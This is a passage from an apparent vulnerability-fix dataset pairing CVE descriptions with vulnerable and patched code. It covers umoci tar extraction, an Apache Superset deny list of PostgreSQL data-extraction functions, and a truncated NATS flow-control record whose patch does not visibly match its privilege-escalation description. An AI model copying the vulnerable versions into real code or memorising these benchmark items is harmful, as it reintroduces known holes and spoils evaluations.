string(value)\n\t\t\t}\n\t\t}\n\n\t\t// Ensure that after everything we correctly re-apply the old metadata.\n\t\t// We don't map this header because we're restoring files that already\n\t\t// existed on the filesystem, not from a tar layer.\n\t\tdefer func() {\n\t\t\t// Only overwrite the error if there wasn't one already.\n\t\t\tif err := te.restoreMetadata(dir, dirHdr); err != nil {\n\t\t\t\tif Err == nil {\n\t\t\t\t\tErr = errors.Wrap(err, \"restore parent directory\")\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// Currently the spec doesn't specify what the hdr.Typeflag of whiteout\n\t// files is meant to be. We specifically only produce regular files\n\t// ('\\x00') but it could be possible that someone produces a different\n\t// Typeflag, expecting that the path is the only thing that matters in a\n\t// whiteout entry.\n\tif strings.HasPrefix(file, whPrefix) {\n\t\tswitch te.whiteoutMode {\n\t\tcase OCIStandardWhiteout:\n\t\t\treturn te.ociWhiteout(root, dir, file)\n\t\tcase OverlayFSWhiteout:\n\t\t\treturn te.overlayFSWhiteout(dir, file)\n\t\tdefault:\n\t\t\treturn errors.Errorf(\"unknown whiteout mode %d\", te.whiteoutMode)\n\t\t}\n\t}\n\n\t// Get information about the path. This has to be done after we've dealt\n\t// with whiteouts because it turns out that lstat(2) will return EPERM if\n\t// you try to stat a whiteout on AUFS.\n\tfi, err := te.fsEval.Lstat(path)\n\tif err != nil {\n\t\t// File doesn't exist, just switch fi to the file header.\n\t\tfi = hdr.FileInfo()\n\t}\n\n\t// Attempt to create the parent directory of the path we're unpacking.\n\t// We do a MkdirAll here because even though you need to have a tar entry\n\t// for every component of a new path, applyMetadata will correct any\n\t// inconsistencies.\n\t// FIXME: We have to make this consistent, since if the tar archive doesn't\n\t//        have entries for some of these components we won't be able to\n\t//        verify that we have consistent results during unpacking.\n\tif err := te.fsEval.MkdirAll(dir, 0777); err != nil {\n\t\treturn errors.Wrap(err, \"mkdir parent\")\n\t}\n\n\tisDirlink := false\n\t// We remove whatever existed at the old path to clobber it so that\n\t// creating a new path will not break. The only exception is if the path is\n\t// a directory in both the layer and the current filesystem, in which case\n\t// we don't delete it for obvious reasons. In all other cases we clobber.\n\t//\n\t// Note that this will cause hard-links in the \"lower\" layer to not be able\n\t// to point to \"upper\" layer inodes even if the extracted type is the same\n\t// as the old one, however it is not clear whether this is something a user\n\t// would expect anyway. In addition, this will incorrectly deal with a\n\t// TarLink that is present before the \"upper\" entry in the layer but the\n\t// \"lower\" file still exists (so the hard-link would point to the old\n\t// inode). It's not clear if such an archive is actually valid though.\n\tif !fi.IsDir() || hdr.Typeflag != tar.TypeDir {\n\t\t// If we are in --keep-dirlinks mode and the existing fs object is a\n\t\t// symlink to a directory (with the pending object is a directory), we\n\t\t// don't remove the symlink (and instead allow subsequent objects to be\n\t\t// just written through the symlink into the directory). This is a very\n\t\t// specific usecase where layers that were generated independently from\n\t\t// each other (on different base filesystems) end up with weird things\n\t\t// like /lib64 being a symlink only sometimes but you never want to\n\t\t// delete libraries (not just the ones that were under the \"real\"\n\t\t// directory).\n\t\t//\n\t\t// TODO: This code should also handle a pending symlink entry where the\n\t\t//       existing object is a directory. I'm not sure how we could\n\t\t//       disambiguate this from a symlink-to-a-file but I imagine that\n\t\t//       this is something that would also be useful in the same vein\n\t\t//       as --keep-dirlinks (which currently only prevents clobbering\n\t\t//       in the opposite case).\n\t\tif te.keepDirlinks &&\n\t\t\tfi.Mode()&os.ModeSymlink == os.ModeSymlink && hdr.Typeflag == tar.TypeDir {\n\t\t\tisDirlink, err = te.isDirlink(root, path)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"check is dirlink\")\n\t\t\t}\n\t\t}\n\t\tif !(isDirlink && te.keepDirlinks) {\n\t\t\tif err := te.fsEval.RemoveAll(path); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"clobber old path\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// Now create or otherwise modify the state of the path. Right now, either\n\t// the type of path matches hdr or the path doesn't exist. Note that we\n\t// don't care about umasks or the initial mode here, since applyMetadata\n\t// will fix all of that for us.\n\tswitch hdr.Typeflag {\n\t// regular file\n\tcase tar.TypeReg, tar.TypeRegA:\n\t\t// Create a new file, then just copy the data.\n\t\tfh, err := te.fsEval.Create(path)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"create regular\")\n\t\t}\n\t\tdefer fh.Close()\n\n\t\t// We need to make sure that we copy all of the bytes.\n\t\tn, err := io.Copy(fh, r)\n\t\tif int64(n) != hdr.Size {\n\t\t\tif err != nil {\n\t\t\t\terr = errors.Wrapf(err, \"short write\")\n\t\t\t} else {\n\t\t\t\terr = io.ErrShortWrite\n\t\t\t}\n\t\t}\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"unpack to regular file\")\n\t\t}\n\n\t\t// Force close here so that we don't affect the metadata.\n\t\tif err := fh.Close(); err != nil {\n\t\t\treturn errors.Wrap(err, \"close unpacked regular file\")\n\t\t}\n\n\t// directory\n\tcase tar.TypeDir:\n\t\tif isDirlink {\n\t\t\tbreak\n\t\t}\n\n\t\t// Attempt to create the directory. We do a MkdirAll here because even\n\t\t// though you need to have a tar entry for every component of a new\n\t\t// path, applyMetadata will correct any inconsistencies.\n\t\tif err := te.fsEval.MkdirAll(path, 0777); err != nil {\n\t\t\treturn errors.Wrap(err, \"mkdirall\")\n\t\t}\n\n\t// hard link, symbolic link\n\tcase tar.TypeLink, tar.TypeSymlink:\n\t\tlinkname := hdr.Linkname\n\n\t\t// Hardlinks and symlinks act differently when it comes to the scoping.\n\t\t// In both cases, we have to just unlink and then re-link the given\n\t\t// path. But the function used and the argument are slightly different.\n\t\tvar linkFn func(string, string) error\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeLink:\n\t\t\tlinkFn = te.fsEval.Link\n\t\t\t// Because hardlinks are inode-based we need to scope the link to\n\t\t\t// the rootfs using SecureJoinVFS. As before, we need to be careful\n\t\t\t// that we don't resolve the last part of the link path (in case\n\t\t\t// the user actually wanted to hardlink to a symlink).\n\t\t\tunsafeLinkDir, linkFile := filepath.Split(CleanPath(linkname))\n\t\t\tlinkDir, err := securejoin.SecureJoinVFS(root, unsafeLinkDir, te.fsEval)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"sanitise hardlink target in root\")\n\t\t\t}\n\t\t\tlinkname = filepath.Join(linkDir, linkFile)\n\t\tcase tar.TypeSymlink:\n\t\t\tlinkFn = te.fsEval.Symlink\n\t\t}\n\n\t\t// Link the new one.\n\t\tif err := linkFn(linkname, path); err != nil {\n\t\t\t// FIXME: Currently this can break if tar hardlink entries occur\n\t\t\t//        before we hit the entry those hardlinks link to. I have a\n\t\t\t//        feeling that such archives are invalid, but the correct\n\t\t\t//        way of handling this is to delay link creation until the\n\t\t\t//        very end. Unfortunately this won't work with symlinks\n\t\t\t//        (which can link to directories).\n\t\t\treturn errors.Wrap(err, \"link\")\n\t\t}\n\n\t// character device node, block device node\n\tcase tar.TypeChar, tar.TypeBlock:\n\t\t// In rootless mode we have no choice but to fake this, since mknod(2)\n\t\t// doesn't work as an unprivileged user here.\n\t\t//\n\t\t// TODO: We need to add the concept of a fake block device in\n\t\t//       \"user.rootlesscontainers\", because this workaround suffers\n\t\t//       from the obvious issue that if the file is touched (even the\n\t\t//       metadata) then it will be incorrectly copied into the layer.\n\t\t//       This would break distribution images fairly badly.\n\t\tif te.partialRootless {\n\t\t\tlog.Warnf(\"rootless{%s} creating empty file in place of device %d:%d\", hdr.Name, hdr.Devmajor, hdr.Devminor)\n\t\t\tfh, err := te.fsEval.Create(path)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"create rootless block\")\n\t\t\t}\n\t\t\tdefer fh.Close()\n\t\t\tif err := fh.Chmod(0); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"chmod 0 rootless block\")\n\t\t\t}\n\t\t\tgoto out\n\t\t}\n\n\t\t// Otherwise the handling is the same as a FIFO.\n\t\tfallthrough\n\t// fifo node\n\tcase tar.TypeFifo:\n\t\t// We have to remove and then create the device. In the FIFO case we\n\t\t// could choose not to do so, but we do it anyway just to be on the\n\t\t// safe side.\n\n\t\tmode := system.Tarmode(hdr.Typeflag)\n\t\tdev := unix.Mkdev(uint32(hdr.Devmajor), uint32(hdr.Devminor))\n\n\t\t// Create the node.\n\t\tif err := te.fsEval.Mknod(path, os.FileMode(int64(mode)|hdr.Mode), dev); err != nil {\n\t\t\treturn errors.Wrap(err, \"mknod\")\n\t\t}\n\n\t// We should never hit any other headers (Go abstracts them away from us),\n\t// and we can't handle any custom Tar extensions. So just error out.\n\tdefault:\n\t\treturn fmt.Errorf(\"unpack entry: %s: unknown typeflag '\\\\x%x'\", hdr.Name, hdr.Typeflag)\n\t}\n\nout:\n\t// Apply the metadata, which will apply any mappings necessary. We don't\n\t// apply metadata for hardlinks, because hardlinks don't have any separate\n\t// metadata from their link (and the tar headers might not be filled).\n\tif hdr.Typeflag != tar.TypeLink {\n\t\tif err := te.applyMetadata(path, hdr); err != nil {\n\t\t\treturn errors.Wrap(err, \"apply hdr metadata\")\n\t\t}\n\t}\n\n\t// Everything is done -- the path now exists. Add it (and all its\n\t// ancestors) to the set of upper paths. We first have to figure out the\n\t// proper path corresponding to hdr.Name though.\n\tupperPath, err := filepath.Rel(root, path)\n\tif err != nil {\n\t\t// Really shouldn't happen because of the guarantees of SecureJoinVFS.\n\t\treturn errors.Wrap(err, \"find relative-to-root [should never happen]\")\n\t}\n\tfor pth := upperPath; pth != filepath.Dir(pth); pth = filepath.Dir(pth) {\n\t\tte.upperPaths[pth] = struct{}{}\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_186_1", "commit": "d9efc31", "file_path": "oci/layer/tar_extract.go", "start_line": 388, "end_line": 709, "snippet": "func (te *TarExtractor) UnpackEntry(root string, hdr *tar.Header, r io.Reader) (Err error) {\n\t// Make the paths safe.\n\thdr.Name = CleanPath(hdr.Name)\n\troot = filepath.Clean(root)\n\n\tlog.WithFields(log.Fields{\n\t\t\"root\": root,\n\t\t\"path\": hdr.Name,\n\t\t\"type\": hdr.Typeflag,\n\t}).Debugf(\"unpacking entry\")\n\n\t// Get directory and filename, but we have to safely get the directory\n\t// component of the path. SecureJoinVFS will evaluate the path itself,\n\t// which we don't want (we're clever enough to handle the actual path being\n\t// a symlink).\n\tunsafeDir, file := filepath.Split(hdr.Name)\n\tif filepath.Join(\"/\", hdr.Name) == \"/\" {\n\t\t// If we got an entry for the root, then unsafeDir is the full path.\n\t\tunsafeDir, file = hdr.Name, \".\"\n\t\t// If we're being asked to change the root type, bail because they may\n\t\t// change it to a symlink which we could inadvertently follow.\n\t\tif hdr.Typeflag != tar.TypeDir {\n\t\t\treturn errors.New(\"malicious tar entry -- refusing to change type of root directory\")\n\t\t}\n\t}\n\tdir, err := securejoin.SecureJoinVFS(root, unsafeDir, te.fsEval)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"sanitise symlinks in root\")\n\t}\n\tpath := filepath.Join(dir, file)\n\n\t// Before we do anything, get the state of dir. Because we might be adding\n\t// or removing files, our parent directory might be modified in the\n\t// process. As a result, we want to be able to restore the old state\n\t// (because we only apply state that we find in the archive we're iterating\n\t// over). We can safely ignore an error here, because a non-existent\n\t// directory will be fixed by later archive entries.\n\tif dirFi, err := te.fsEval.Lstat(dir); err == nil && path != dir {\n\t\t// FIXME: This is really stupid.\n\t\t// #nosec G104\n\t\tlink, _ := te.fsEval.Readlink(dir)\n\t\tdirHdr, err := tar.FileInfoHeader(dirFi, link)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"convert dirFi to dirHdr\")\n\t\t}\n\n\t\t// More faking to trick restoreMetadata to actually restore the directory.\n\t\tdirHdr.Typeflag = tar.TypeDir\n\t\tdirHdr.Linkname = \"\"\n\n\t\t// os.Lstat doesn't get the list of xattrs by default. We need to fill\n\t\t// this explicitly. Note that while Go's \"archive/tar\" takes strings,\n\t\t// in Go strings can be arbitrary byte sequences so this doesn't\n\t\t// restrict the possible values.\n\t\t// TODO: Move this to a separate function so we can share it with\n\t\t//       tar_generate.go.\n\t\txattrs, err := te.fsEval.Llistxattr(dir)\n\t\tif err != nil {\n\t\t\tif errors.Cause(err) != unix.ENOTSUP {\n\t\t\t\treturn errors.Wrap(err, \"get dirHdr.Xattrs\")\n\t\t\t}\n\t\t\tif !te.enotsupWarned {\n\t\t\t\tlog.Warnf(\"xattr{%s} ignoring ENOTSUP on llistxattr\", dir)\n\t\t\t\tlog.Warnf(\"xattr{%s} destination filesystem does not support xattrs, further warnings will be suppressed\", path)\n\t\t\t\tte.enotsupWarned = true\n\t\t\t} else {\n\t\t\t\tlog.Debugf(\"xattr{%s} ignoring ENOTSUP on clearxattrs\", path)\n\t\t\t}\n\t\t}\n\t\tif len(xattrs) > 0 {\n\t\t\tdirHdr.Xattrs = map[string]string{}\n\t\t\tfor _, xattr := range xattrs {\n\t\t\t\tvalue, err := te.fsEval.Lgetxattr(dir, xattr)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"get xattr\")\n\t\t\t\t}\n\t\t\t\tdirHdr.Xattrs[xattr] = string(value)\n\t\t\t}\n\t\t}\n\n\t\t// Ensure that after everything we correctly re-apply the old metadata.\n\t\t// We don't map this header because we're restoring files that already\n\t\t// existed on the filesystem, not from a tar layer.\n\t\tdefer func() {\n\t\t\t// Only overwrite the error if there wasn't one already.\n\t\t\tif err := te.restoreMetadata(dir, dirHdr); err != nil {\n\t\t\t\tif Err == nil {\n\t\t\t\t\tErr = errors.Wrap(err, \"restore parent directory\")\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// Currently the spec doesn't specify what the hdr.Typeflag of whiteout\n\t// files is meant to be. We specifically only produce regular files\n\t// ('\\x00') but it could be possible that someone produces a different\n\t// Typeflag, expecting that the path is the only thing that matters in a\n\t// whiteout entry.\n\tif strings.HasPrefix(file, whPrefix) {\n\t\tswitch te.whiteoutMode {\n\t\tcase OCIStandardWhiteout:\n\t\t\treturn te.ociWhiteout(root, dir, file)\n\t\tcase OverlayFSWhiteout:\n\t\t\treturn te.overlayFSWhiteout(dir, file)\n\t\tdefault:\n\t\t\treturn errors.Errorf(\"unknown whiteout mode %d\", te.whiteoutMode)\n\t\t}\n\t}\n\n\t// Get information about the path. This has to be done after we've dealt\n\t// with whiteouts because it turns out that lstat(2) will return EPERM if\n\t// you try to stat a whiteout on AUFS.\n\tfi, err := te.fsEval.Lstat(path)\n\tif err != nil {\n\t\t// File doesn't exist, just switch fi to the file header.\n\t\tfi = hdr.FileInfo()\n\t}\n\n\t// Attempt to create the parent directory of the path we're unpacking.\n\t// We do a MkdirAll here because even though you need to have a tar entry\n\t// for every component of a new path, applyMetadata will correct any\n\t// inconsistencies.\n\t// FIXME: We have to make this consistent, since if the tar archive doesn't\n\t//        have entries for some of these components we won't be able to\n\t//        verify that we have consistent results during unpacking.\n\tif err := te.fsEval.MkdirAll(dir, 0777); err != nil {\n\t\treturn errors.Wrap(err, \"mkdir parent\")\n\t}\n\n\tisDirlink := false\n\t// We remove whatever existed at the old path to clobber it so that\n\t// creating a new path will not break. The only exception is if the path is\n\t// a directory in both the layer and the current filesystem, in which case\n\t// we don't delete it for obvious reasons. In all other cases we clobber.\n\t//\n\t// Note that this will cause hard-links in the \"lower\" layer to not be able\n\t// to point to \"upper\" layer inodes even if the extracted type is the same\n\t// as the old one, however it is not clear whether this is something a user\n\t// would expect anyway. In addition, this will incorrectly deal with a\n\t// TarLink that is present before the \"upper\" entry in the layer but the\n\t// \"lower\" file still exists (so the hard-link would point to the old\n\t// inode). It's not clear if such an archive is actually valid though.\n\tif !fi.IsDir() || hdr.Typeflag != tar.TypeDir {\n\t\t// If we are in --keep-dirlinks mode and the existing fs object is a\n\t\t// symlink to a directory (with the pending object is a directory), we\n\t\t// don't remove the symlink (and instead allow subsequent objects to be\n\t\t// just written through the symlink into the directory). This is a very\n\t\t// specific usecase where layers that were generated independently from\n\t\t// each other (on different base filesystems) end up with weird things\n\t\t// like /lib64 being a symlink only sometimes but you never want to\n\t\t// delete libraries (not just the ones that were under the \"real\"\n\t\t// directory).\n\t\t//\n\t\t// TODO: This code should also handle a pending symlink entry where the\n\t\t//       existing object is a directory. I'm not sure how we could\n\t\t//       disambiguate this from a symlink-to-a-file but I imagine that\n\t\t//       this is something that would also be useful in the same vein\n\t\t//       as --keep-dirlinks (which currently only prevents clobbering\n\t\t//       in the opposite case).\n\t\tif te.keepDirlinks &&\n\t\t\tfi.Mode()&os.ModeSymlink == os.ModeSymlink && hdr.Typeflag == tar.TypeDir {\n\t\t\tisDirlink, err = te.isDirlink(root, path)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"check is dirlink\")\n\t\t\t}\n\t\t}\n\t\tif !(isDirlink && te.keepDirlinks) {\n\t\t\tif err := te.fsEval.RemoveAll(path); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"clobber old path\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// Now create or otherwise modify the state of the path. Right now, either\n\t// the type of path matches hdr or the path doesn't exist. Note that we\n\t// don't care about umasks or the initial mode here, since applyMetadata\n\t// will fix all of that for us.\n\tswitch hdr.Typeflag {\n\t// regular file\n\tcase tar.TypeReg, tar.TypeRegA:\n\t\t// Create a new file, then just copy the data.\n\t\tfh, err := te.fsEval.Create(path)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"create regular\")\n\t\t}\n\t\tdefer fh.Close()\n\n\t\t// We need to make sure that we copy all of the bytes.\n\t\tn, err := io.Copy(fh, r)\n\t\tif int64(n) != hdr.Size {\n\t\t\tif err != nil {\n\t\t\t\terr = errors.Wrapf(err, \"short write\")\n\t\t\t} else {\n\t\t\t\terr = io.ErrShortWrite\n\t\t\t}\n\t\t}\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"unpack to regular file\")\n\t\t}\n\n\t\t// Force close here so that we don't affect the metadata.\n\t\tif err := fh.Close(); err != nil {\n\t\t\treturn errors.Wrap(err, \"close unpacked regular file\")\n\t\t}\n\n\t// directory\n\tcase tar.TypeDir:\n\t\tif isDirlink {\n\t\t\tbreak\n\t\t}\n\n\t\t// Attempt to create the directory. We do a MkdirAll here because even\n\t\t// though you need to have a tar entry for every component of a new\n\t\t// path, applyMetadata will correct any inconsistencies.\n\t\tif err := te.fsEval.MkdirAll(path, 0777); err != nil {\n\t\t\treturn errors.Wrap(err, \"mkdirall\")\n\t\t}\n\n\t// hard link, symbolic link\n\tcase tar.TypeLink, tar.TypeSymlink:\n\t\tlinkname := hdr.Linkname\n\n\t\t// Hardlinks and symlinks act differently when it comes to the scoping.\n\t\t// In both cases, we have to just unlink and then re-link the given\n\t\t// path. But the function used and the argument are slightly different.\n\t\tvar linkFn func(string, string) error\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeLink:\n\t\t\tlinkFn = te.fsEval.Link\n\t\t\t// Because hardlinks are inode-based we need to scope the link to\n\t\t\t// the rootfs using SecureJoinVFS. As before, we need to be careful\n\t\t\t// that we don't resolve the last part of the link path (in case\n\t\t\t// the user actually wanted to hardlink to a symlink).\n\t\t\tunsafeLinkDir, linkFile := filepath.Split(CleanPath(linkname))\n\t\t\tlinkDir, err := securejoin.SecureJoinVFS(root, unsafeLinkDir, te.fsEval)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"sanitise hardlink target in root\")\n\t\t\t}\n\t\t\tlinkname = filepath.Join(linkDir, linkFile)\n\t\tcase tar.TypeSymlink:\n\t\t\tlinkFn = te.fsEval.Symlink\n\t\t}\n\n\t\t// Link the new one.\n\t\tif err := linkFn(linkname, path); err != nil {\n\t\t\t// FIXME: Currently this can break if tar hardlink entries occur\n\t\t\t//        before we hit the entry those hardlinks link to. I have a\n\t\t\t//        feeling that such archives are invalid, but the correct\n\t\t\t//        way of handling this is to delay link creation until the\n\t\t\t//        very end. Unfortunately this won't work with symlinks\n\t\t\t//        (which can link to directories).\n\t\t\treturn errors.Wrap(err, \"link\")\n\t\t}\n\n\t// character device node, block device node\n\tcase tar.TypeChar, tar.TypeBlock:\n\t\t// In rootless mode we have no choice but to fake this, since mknod(2)\n\t\t// doesn't work as an unprivileged user here.\n\t\t//\n\t\t// TODO: We need to add the concept of a fake block device in\n\t\t//       \"user.rootlesscontainers\", because this workaround suffers\n\t\t//       from the obvious issue that if the file is touched (even the\n\t\t//       metadata) then it will be incorrectly copied into the layer.\n\t\t//       This would break distribution images fairly badly.\n\t\tif te.partialRootless {\n\t\t\tlog.Warnf(\"rootless{%s} creating empty file in place of device %d:%d\", hdr.Name, hdr.Devmajor, hdr.Devminor)\n\t\t\tfh, err := te.fsEval.Create(path)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"create rootless block\")\n\t\t\t}\n\t\t\tdefer fh.Close()\n\t\t\tif err := fh.Chmod(0); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"chmod 0 rootless block\")\n\t\t\t}\n\t\t\tgoto out\n\t\t}\n\n\t\t// Otherwise the handling is the same as a FIFO.\n\t\tfallthrough\n\t// fifo node\n\tcase tar.TypeFifo:\n\t\t// We have to remove and then create the device. In the FIFO case we\n\t\t// could choose not to do so, but we do it anyway just to be on the\n\t\t// safe side.\n\n\t\tmode := system.Tarmode(hdr.Typeflag)\n\t\tdev := unix.Mkdev(uint32(hdr.Devmajor), uint32(hdr.Devminor))\n\n\t\t// Create the node.\n\t\tif err := te.fsEval.Mknod(path, os.FileMode(int64(mode)|hdr.Mode), dev); err != nil {\n\t\t\treturn errors.Wrap(err, \"mknod\")\n\t\t}\n\n\t// We should never hit any other headers (Go abstracts them away from us),\n\t// and we can't handle any custom Tar extensions. So just error out.\n\tdefault:\n\t\treturn fmt.Errorf(\"unpack entry: %s: unknown typeflag '\\\\x%x'\", hdr.Name, hdr.Typeflag)\n\t}\n\nout:\n\t// Apply the metadata, which will apply any mappings necessary. We don't\n\t// apply metadata for hardlinks, because hardlinks don't have any separate\n\t// metadata from their link (and the tar headers might not be filled).\n\tif hdr.Typeflag != tar.TypeLink {\n\t\tif err := te.applyMetadata(path, hdr); err != nil {\n\t\t\treturn errors.Wrap(err, \"apply hdr metadata\")\n\t\t}\n\t}\n\n\t// Everything is done -- the path now exists. Add it (and all its\n\t// ancestors) to the set of upper paths. We first have to figure out the\n\t// proper path corresponding to hdr.Name though.\n\tupperPath, err := filepath.Rel(root, path)\n\tif err != nil {\n\t\t// Really shouldn't happen because of the guarantees of SecureJoinVFS.\n\t\treturn errors.Wrap(err, \"find relative-to-root [should never happen]\")\n\t}\n\tfor pth := upperPath; pth != filepath.Dir(pth); pth = filepath.Dir(pth) {\n\t\tte.upperPaths[pth] = struct{}{}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/oci/layer/tar_extract.go\n+++ b/oci/layer/tar_extract.go\n@@ -17,6 +17,11 @@\n \tif filepath.Join(\"/\", hdr.Name) == \"/\" {\n \t\t// If we got an entry for the root, then unsafeDir is the full path.\n \t\tunsafeDir, file = hdr.Name, \".\"\n+\t\t// If we're being asked to change the root type, bail because they may\n+\t\t// change it to a symlink which we could inadvertently follow.\n+\t\tif hdr.Typeflag != tar.TypeDir {\n+\t\t\treturn errors.New(\"malicious tar entry -- refusing to change type of root directory\")\n+\t\t}\n \t}\n \tdir, err := securejoin.SecureJoinVFS(root, unsafeDir, te.fsEval)\n \tif err != nil {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-53947", "cve_description": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Apache Superset. Specifically, certain engine-specific functions are not checked, which allows attackers to bypass Apache Superset's SQL authorization. This issue is a follow-up to\u00a0CVE-2024-39887 with additional disallowed PostgreSQL functions now included:\u00a0query_to_xml_and_xmlschema,\u00a0table_to_xml,\u00a0table_to_xml_and_xmlschema.\n\nThis issue affects Apache Superset: <4.1.0.\n\nUsers are recommended to upgrade to version 4.1.0, which fixes the issue or add these Postgres functions to the config set\u00a0DISALLOWED_SQL_FUNCTIONS.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/apache/superset", "patch_url": ["https://github.com/apache/superset/commit/0e0028260fc8a2099250701524a489f3c9aa146f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_256_1", "commit": "2418342", "file_path": "superset/config.py", "start_line": 1278, "end_line": 1282, "snippet": "DISALLOWED_SQL_FUNCTIONS: dict[str, set[str]] = {\n    \"postgresql\": {\"version\", \"query_to_xml\", \"inet_server_addr\", \"inet_client_addr\"},\n    \"clickhouse\": {\"url\"},\n    \"mysql\": {\"version\"},\n}"}], "fix_func": [{"id": "fix_py_256_1", "commit": "0e00282", "file_path": "superset/config.py", "start_line": 1278, "end_line": 1291, "snippet": "DISALLOWED_SQL_FUNCTIONS: dict[str, set[str]] = {\n    \"postgresql\": {\n        \"database_to_xml\",\n        \"inet_client_addr\",\n        \"inet_server_addr\",\n        \"query_to_xml\",\n        \"query_to_xml_and_xmlschema\",\n        \"table_to_xml\",\n        \"table_to_xml_and_xmlschema\",\n        \"version\",\n    },\n    \"clickhouse\": {\"url\"},\n    \"mysql\": {\"version\"},\n}"}], "vul_patch": "--- a/superset/config.py\n+++ b/superset/config.py\n@@ -1,5 +1,14 @@\n DISALLOWED_SQL_FUNCTIONS: dict[str, set[str]] = {\n-    \"postgresql\": {\"version\", \"query_to_xml\", \"inet_server_addr\", \"inet_client_addr\"},\n+    \"postgresql\": {\n+        \"database_to_xml\",\n+        \"inet_client_addr\",\n+        \"inet_server_addr\",\n+        \"query_to_xml\",\n+        \"query_to_xml_and_xmlschema\",\n+        \"table_to_xml\",\n+        \"table_to_xml_and_xmlschema\",\n+        \"version\",\n+    },\n     \"clickhouse\": {\"url\"},\n     \"mysql\": {\"version\"},\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-24450", "cve_description": "NATS nats-server before 2.7.2 has Incorrect Access Control. Any authenticated user can obtain the privileges of the System account by misusing the \"dynamically provisioned sandbox accounts\" feature.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/nats-io/nats-server", "patch_url": ["https://github.com/nats-io/nats-server/commit/55b7f11"], "programing_language": "Go", "vul_func": [{"id": "vul_go_45_1", "commit": "664e8b9", "file_path": "server/consumer.go", "start_line": 2915, "end_line": 2925, "snippet": "func (o *consumer) needFlowControl() bool {\n\tif o.maxpb == 0 {\n\t\treturn false\n\t}\n\t// Decide whether to send a flow control message which we will need the user to respond.\n\t// We send when we are over 50% of our current window limit.\n\tif o.fcid == _EMPTY_ && o.pbytes > o.maxpb/2 {\n\t\treturn true\n\t}\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_45_1", "commit": "55b7f11", "file_path": "server/consumer.go", "start_line": 2917, "end_line": 2931, "snippet": "func (o *consumer) needFlowControl(sz int) bool {\n\tif o.maxpb == 0 {\n\t\treturn false\n\t}\n\t// Decide whether to send a flow control message which we will need the user to respond.\n\t// We send when we are over 50% of our current window limit.\n\tif o.fcid == _EMPTY_ && o.pbytes > o.maxpb/2 {\n\t\treturn true\n\t}\n\t// If we have an existing outstanding FC, check to see if we need to expand the o.fcsz\n\tif o.fcid != _EMPTY_ && (o.pbytes-o.fcsz) >= o.maxpb {\n\t\to.fcsz += sz\n\t}\n\treturn false\n}"}, {"id": "fix_go_45_2", "commit": "55b7f11", "file_path": "server/consumer.go", "start_line": 2846, "end_line": 2915, "snippet": "func (o *consumer) deliverMsg(dsubj, subj string, hdr, msg []byte, seq, dc uint64, ts int64) {\n\tif o.mset == nil {\n\t\treturn\n\t}\n\t// Update pending on first attempt. This can go upside down for a short bit, that is ok.\n\t// See adjustedPending().\n\tif dc == 1 {\n\t\to.sgap--\n\t}\n\n\tdseq := o.dseq\n\to.dseq++\n\n\t// If headers only do not send msg payload.\n\t// Add in msg size itself as header.\n\tif o.cfg.HeadersOnly {\n\t\tvar bb bytes.Buffer\n\t\tif len(hdr) == 0 {\n\t\t\tbb.WriteString(hdrLine)\n\t\t} else {\n\t\t\tbb.Write(hdr)\n\t\t\tbb.Truncate(len(hdr) - LEN_CR_LF)\n\t\t}\n\t\tbb.WriteString(JSMsgSize)\n\t\tbb.WriteString(\": \")\n\t\tbb.WriteString(strconv.FormatInt(int64(len(msg)), 10))\n\t\tbb.WriteString(CR_LF)\n\t\tbb.WriteString(CR_LF)\n\t\thdr = bb.Bytes()\n\t\t// Cancel msg payload\n\t\tmsg = nil\n\t}\n\n\tpmsg := newJSPubMsg(dsubj, subj, o.ackReply(seq, dseq, dc, ts, o.adjustedPending()), hdr, msg, o, seq)\n\tpsz := pmsg.size()\n\n\tif o.maxpb > 0 {\n\t\to.pbytes += psz\n\t}\n\n\tmset := o.mset\n\tap := o.cfg.AckPolicy\n\n\t// Send message.\n\to.outq.send(pmsg)\n\n\tif ap == AckExplicit || ap == AckAll {\n\t\to.trackPending(seq, dseq)\n\t} else if ap == AckNone {\n\t\to.adflr = dseq\n\t\to.asflr = seq\n\t}\n\n\t// Flow control.\n\tif o.maxpb > 0 && o.needFlowControl(psz) {\n\t\to.sendFlowControl()\n\t}\n\n\t// 